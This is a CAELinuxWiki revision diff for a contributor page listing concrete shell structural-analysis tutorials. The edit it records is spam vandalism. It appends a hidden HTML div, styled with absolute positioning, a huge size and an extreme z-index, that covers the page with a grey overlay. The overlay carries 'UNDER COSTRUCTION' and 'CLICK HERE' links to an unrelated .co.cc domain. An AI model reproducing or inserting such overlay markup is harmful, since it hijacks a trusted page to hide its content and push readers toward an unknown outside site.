Difference between revisions of "Contrib:KeesWouters/shell"
From CAELinuxWiki
Keeswouters (Talk | contribs) m (→'''Shell analysis''') |
Atywehacyg (Talk | contribs) |
||
Line 1: | Line 1: | ||
− | =='''Shell analysis'''== | + | >=='''Shell analysis'''== |
− | # '''Static analysis of shell construction''' | + | # '''Static analysis of shell construction'''<br/>* Contribution in collaboration with Brigde.<br/>Concrete shell with several partitions loaded by pressure.<br/>Extraction of displacement and stresses.<br/>[[Contrib:KeesWouters/shell/static]] |
− | # '''Static shell analysis - generation of tables''' | + | # '''Static shell analysis - generation of tables'''<br/>* Contribution in collaboration with Brigde.<br/>Concrete shell with several partitions loaded by pressure.<br/>Focus on extraction of minimum and maximum displacements, forces and moments and stresses.<br/>[[Contrib:KeesWouters/shell/tables]] |
− | # '''Static analysis of shell construction''' | + | # '''Static analysis of shell construction'''<br/>[[Contrib:KeesWouters/shell/static/command]]''<br/><br/> |
− | # '''My description of ASTK''' | + | # '''My description of ASTK'''<br/>[[Contrib:KeesWouters/shell/static/astk]]<br/>The screenshots used here are taken from the contribution above. |
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://uwamexybygo.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]= | ||
+ | ---- | ||
+ | =[http://uwamexybygo.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 18:24, 15 November 2010
>==Shell analysis==
- Static analysis of shell construction<br/>* Contribution in collaboration with Brigde.<br/>Concrete shell with several partitions loaded by pressure.<br/>Extraction of displacement and stresses.<br/>Contrib:KeesWouters/shell/static
- Static shell analysis - generation of tables<br/>* Contribution in collaboration with Brigde.<br/>Concrete shell with several partitions loaded by pressure.<br/>Focus on extraction of minimum and maximum displacements, forces and moments and stresses.<br/>Contrib:KeesWouters/shell/tables
- Static analysis of shell construction<br/>Contrib:KeesWouters/shell/static/command<br/><br/>
- My description of ASTK<br/>Contrib:KeesWouters/shell/static/astk<br/>The screenshots used here are taken from the contribution above.